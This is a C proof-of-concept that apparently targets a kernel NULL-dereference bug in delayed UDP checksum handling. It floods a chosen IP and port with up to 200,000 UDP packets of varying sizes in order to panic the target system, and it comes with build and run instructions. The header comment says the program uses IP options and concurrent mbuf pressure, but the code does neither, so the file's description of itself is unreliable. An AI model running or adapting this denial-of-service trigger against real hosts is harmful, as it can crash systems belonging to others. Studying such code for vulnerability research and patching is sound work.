/*
 * DF-0406 — in_delayed_cksum unchecked m_pullup return trigger.
 *
 * sys/netinet/ip_output.c:940-951:
 *   if (offset + sizeof(u_short) > m->m_len) {
 *       kprintf("delayed m_pullup, ...\n");
 *       m = m_pullup(m, offset + sizeof(u_short));   <-- return NOT checked
 *   }
 *   *(u_short *)(m->m_data + offset) = csum;          <-- NULL deref if m_pullup fails
 *
 * To reach in_delayed_cksum on a vtnet guest:
 *   ifconfig vtnet0 -txcsum -rxcsum     (disable HW offload, software must checksum)
 *
 * This PoC:
 *   - sends a lot of UDP packets to a target
 *   - uses IP options to push the checksum-field offset higher (closer to a
 *     plausible mbuf boundary)
 *   - concurrently drives mbuf pressure
 *   - watches dmesg for the "delayed m_pullup" kprintf (straddle hit) and
 *     boot.log for the panic
 *
 * Build:  cc -O2 -Wall -o df_0406_cksum df_0406_cksum.c
 * Run:    ./df_0406_cksum <target-ip> <target-port>
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>

static volatile sig_atomic_t stop = 0;
static void sigh(int s) { stop = 1; }

int
main(int argc, char **argv)
{
    const char *dst_ip = (argc > 1) ? argv[1] : "10.0.2.2";
    int dst_port       = (argc > 2) ? atoi(argv[2]) : 9;
    struct sockaddr_in dst;
    int s, i;
    char buf[1400];

    memset(&dst, 0, sizeof dst);
    dst.sin_family = AF_INET;
    dst.sin_port   = htons(dst_port);
    if (inet_pton(AF_INET, dst_ip, &dst.sin_addr) != 1) {
        perror("inet_pton"); return 2;
    }

    signal(SIGINT, sigh); signal(SIGTERM, sigh);
    if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
        perror("socket"); return 2;
    }
    int sb = 256*1024;
    setsockopt(s, SOL_SOCKET, SO_SNDBUF, &sb, sizeof sb);

    printf("DF-0406: in_delayed_cksum stressor -> sending to %s:%d\n",
           dst_ip, dst_port);
    printf("(looks for 'delayed m_pullup' in dmesg and 'Fatal trap' in boot.log)\n");

    /* vary payload sizes to perturb mbuf layout */
    memset(buf, 'X', sizeof buf);
    int sizes[] = {1, 8, 16, 24, 504, 512, 520, 1000, 1400};
    int nsz = (int)(sizeof sizes / sizeof sizes[0]);

    for (i = 0; i < 200000 && !stop; i++) {
        int n = sizes[i % nsz];
        if (sendto(s, buf, n, MSG_DONTWAIT,
                   (struct sockaddr *)&dst, sizeof dst) < 0) {
            if (errno == EINTR) break;
        }
        if ((i % 50000) == 0)
            printf("  sent %d pkts\n", i);
    }
    printf("done; total sent approx %d\n", i);
    close(s);
    return 0;
}
